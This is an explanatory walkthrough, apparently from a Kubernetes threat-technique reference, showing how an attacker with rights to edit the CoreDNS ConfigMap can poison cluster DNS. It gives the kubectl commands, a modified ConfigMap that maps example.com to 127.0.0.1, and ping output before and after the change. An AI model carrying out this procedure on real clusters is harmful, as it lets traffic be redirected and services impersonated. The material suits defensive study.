CoreDNS is a modular Domain Name System (DNS) server written in Go, hosted by Cloud Native Computing Foundation (CNCF). CoreDNS is the main DNS service that is being used in Kubernetes. The configuration of CoreDNS can be modified by a file named corefile. In Kubernetes, this file is stored in a ConfigMap object, located at the kube-system namespace. If attackers have permissions to modify the ConfigMap, for example by using the container’s service account, they can change the behavior of the cluster’s DNS, poison it, and take the network identity of other services.
Execute a ping
command from any Pod to an domain (external or internal). For the sake of this example we take example.com
as the domain.
$ kubectl exec -it my-pod -- ping -c 1 example.com
PING example.com (93.184.216.34) 56(84) bytes of data.
64 bytes from 93.184.216.34 (93.184.216.34): icmp_seq=1 ttl=36 time=139 ms
...
As we can see, the ping went through and reached a system under 93.184.216.34
on the public Internet. The mapping between the example.com
domain name and the IP address was faciliated by CoreDNS.
In a next step we use a modified version of the ConfigMap used by our CoreDNS Pod in our cluster. You can get the current version of the ConfigMap by using kubectl get configmaps -n kube-system coredns -o yaml
. The only change in the below YAML file is the addition of the line 127.0.0.1 example.com
at the very end of the NodeHosts
section.
apiVersion: v1
kind: ConfigMap
metadata:
name: coredns
namespace: kube-system
data:
Corefile: |
.:53 {
errors
health
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
}
hosts /etc/coredns/NodeHosts {
ttl 60
reload 15s
fallthrough
}
prometheus :9153
forward . /etc/resolv.conf
cache 30
loop
reload
loadbalance
}
import /etc/coredns/custom/*.server
NodeHosts: |
192.168.65.2 host.k3d.internal
172.19.0.2 k3d-my-k8s-cluster-tools
172.19.0.3 k3d-my-k8s-cluster-server-0
172.19.0.4 k3d-my-k8s-cluster-serverlb
127.0.0.1 example.com
Now we can replace the CoreDNS config with our slightly modified version.
$ kubectl replace -f coredns-configmap.yaml
configmap/coredns replaced
At last we can check if our malicious DNS record is acually applied and used by all workloads in the cluster. Please note that the CoreDNS configuration contains ttl 60
so we must wait up to 60 seconds for our changes take effect.
$ kubectl exec -it my-pod -- ping -c 1 example.com
PING example.com (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.010 ms
...
An attacker can use this technique to overwrite any DNS record to redirect traffic.